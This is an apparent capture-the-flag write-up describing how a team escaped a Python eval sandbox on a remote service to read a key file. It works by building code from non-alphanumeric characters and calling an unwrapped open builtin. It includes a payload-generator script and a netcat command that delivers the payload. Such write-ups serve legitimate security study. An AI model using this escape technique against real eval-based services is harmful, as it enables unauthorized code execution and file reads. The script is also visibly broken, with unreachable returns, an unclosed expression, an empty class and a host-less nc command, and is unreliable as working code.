Since the zombie apocalypse started people did not stop to ask themselves
how the whole thing began. An abandoned military base may lead to answers
but after infiltrating the facility you find yourself in front of a solid
steel door with a computer attached. Luckily this terminal seems to connect
to a Python service on a remote server to reduce load on the small
computer. While your team managed to steal the source, they need your
Python expertise to hack this service and get the masterkey which should be
stored in a file called key.

credits: 400 +3 (1st), +2 (2nd), +1 (3rd)

The sandbox source file contains the port number to connect to the terminal. A sessions prompts two numbers and an “operator”. These inputs are checked against regular expressions: ^[\d]{0,4}$ for the numbers and ^[\W]+$ for the operator (and it must not exceed 1899 bytes). If each matches, then if the operator contains a single quote (') the operator is replaced by eval(operator). Then, eval(number1 + operator + number2) is computer and printed.

Before all of this, some code wraps builtins in order to prevent imports and uses of open and file.

Our way to display the content of the key file was first to find a mean to evaluate alphanumerical code from the operator, and then to bypass the sandbox. The second part was the most easy: open.orig gives access to the original open builtin, thus executing open.orig('key').read() was enough to reach the key.

Finding a way to craft alphanumerical caracters from the operator was far more difficult. The first thing to notice was that ()!=() (which evaluates to False) can be used as the number 0, and ()==() (which evaluates to True) can be used as the number 1. From this, one can craft all possible numbers. Then, it is possible to take a minimal character set using Python’s backtick notation to get the string representation of an expression: `()==()` yields 'True'. With non-printable ASCII chars, hexadecimal characters were available after one eval:

>>> eval('`"\xfe"`[(()==())<<(()==())<<(()==())]')

When the global eval is used, the given expression is evaluated from code inside the sandbox method, in which self is the wapper of eval itself! Thus, evaluating eval('self("0x41")') will return the content of the a variable.

Using all these principles, it is possible to execute our code using 3 eval stages:

  • first, the remote sandboxed terminal receives our bytes: numbers are empty, and the operator contains our payload. The payload contains at least one single quote and the operator is evaluated once. With the previous tricks, one can craft self("...hexadecimally escaped bytes...")
  • then, the second eval evaluates self(...) which is equivalent to eval("...escaped bytes.."), and since we master completely the escaped bytes, and that these bytes can cover the full byte range, we can do everything!

Thus, we crafted the payload using the following script:

def get_num(n):
    '''Return a non-alphanum expression that evaluates to the given number.'''
    if n == 0:
        return '[]==()'
    elif n == 1:
        return '[]!=()'
        return '+'.join('([]!=())' for i in range(n))

# Craft "self(""
result = ''.join((
    '`{()==()}`[()==[]]+',              # 's'
    '`"\xfe"`[%s]+' % get_num(4),       # 'e'
    '`()==[]`[%s]+' % get_num(2),     # 'l'
    '`"\xff"`[%s]+' % get_num(4),       # 'f'
    '"(\\""+'                           # '("'

# Turn the wanted expression into a string of hexadecimally escaped bytes.
result += '`\''

for c in 'open.orig("key").read()':
    o = ord(c)
    hi = 0xf0 | (o >> 4)
    lo = 0xf0 | (o & 0x0f)
    result += '\x01.\x01'
    result += chr(hi) + '..'
    result += chr(lo) + '.....'

result += '\'`[%s:-(%s):%s]+' % (get_num(1), get_num(1), get_num(6))

# Craft "\")"
result += '"\\\")"'

# Simulate the sandboxed environment.
class Wrapper:
open_orig = open
open = Wrapper()
open.orig = open_orig

# Print results to stderr for debugging
import sys
print >> sys.stderr, '%s bytes: %s' % (len(result), repr(result))
print >> sys.stderr, '--> %s' % repr(eval(result))
print >> sys.stderr, '--> %s' % repr(eval(eval(result)))

print ''
print ''
print result

Finally, we send the payload to the service:

python2 | nc 2060

Key: dafuq_how_did_you_solve_this_nonalpha_thingy.